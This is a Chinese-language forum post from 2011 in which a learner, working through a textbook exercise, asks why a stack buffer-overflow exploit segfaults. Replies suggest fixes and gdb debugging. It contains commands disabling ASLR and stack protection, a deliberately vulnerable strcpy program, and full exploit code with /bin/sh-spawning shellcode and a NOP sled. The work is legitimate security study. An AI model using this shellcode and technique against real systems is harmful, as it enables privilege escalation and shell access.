[問題] Buffer Overflow 產生的Segmentation F …

看板Linux作者 (shanwu)時間14年前 (2011/05/26 22:00), 編輯推噓1(103)
留言4則, 2人參與, 最新討論串1/1
大家好, 小弟菜鳥正在學習緩衝(buffer)溢位(overflow)攻擊,依據書上的code想看看實 際運作情況…我知道Ubuntu至少有二種防止Buffer Overflow 的方式,所以我用了如下的 方式: Step 0: 關閉 random memory address scheme #echo 0 > /proc/sys/kernel/randomize_va_space Step 1: compile 目標程式 “vuln.c” $gcc -fno-stack-protector -o vuln vuln.c Source code of vuln.c: #include <stdlib.h> #include <string.h> int main(int argc,char *argv[]) { char buffer[500]; strcpy(buffer,argv[1]); return 0; } Step 2:compile 破解程式,”exploit.c” $gcc –o exploit exploit.c Source code of exploit.c: #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> charshellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp(void){ asm("movl%esp, %eax");} int main(int argc, char *argv[]) { int i,offset; unsigned int esp, ret, *addr_ptr; char *buffer, *ptr; offset=0; esp=sp(); ret=esp-offset; printf("Stack pointer (ESP: 0x%x\n",esp); printf("Offset from ESP: 0x%x\n",offset); printf("Desired Return Address : 0x%x\n",ret); buffer=malloc(600); ptr=buffer; addr_ptr=(unsigned int *)ptr; for(i=0;i<600;i+=4) { *(addr_ptr++)=ret; } for(i=0;i<200;i++) { buffer[i]='\x90'; } ptr=buffer+200; for(i=0;i<strlen(shellcode);i++) { *(ptr++)=shellcode[i]; } buffer[600-1]=0; execl("./vuln","vuln",buffer,(char *)NULL); free(buffer); return 0; } Step 3. 運行 ./exploit 但是不斷的出現Segmentation Fault的錯誤訊息,請高手提點 一下我哪邊弄錯了…我gdb debug的結果是segmentation fault的signal是從strcpy()中 出來的,然後就沒辦法更進一步去研究了。。。我在想是不是有辦法看他buffer內的記憶 體位置,然後看看記憶體的內容…這樣… 謝謝 ! -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 114.47.171.153 ※ 編輯: shanwu 來自: 114.47.171.153 (05/26 22:03)

05/26 22:27, , 1F
buffer='\x90'; 似乎有問題.是不是應是 buffer[i]='\x90';
05/26 22:27, 1F

05/26 22:37, , 2F
*(ptr++)=shellcode; 是否應為 *(ptr++)=shellcode[i];
05/26 22:37, 2F

05/26 22:39, , 3F
先看看是否為source有誤,因為照你po的source應該是有錯
05/26 22:39, 3F
抱歉,看樣子是我貼文時copy出了問題,我的source code是如大大說的那樣…所以是我貼文貼錯…應該不是少加[i] 的問題…

05/27 00:01, , 4F
用 gdb 追
05/27 00:01, 4F
我用gdb只追到strcpy()有發出segmentation fault的訊號…再深入就不知該怎麼追了 ※ 編輯: shanwu 來自: 114.47.171.153 (05/27 00:18) ※ 編輯: shanwu 來自: 114.47.171.153 (05/27 00:19)
文章代碼(AID): #1DtbpcE9 (Linux)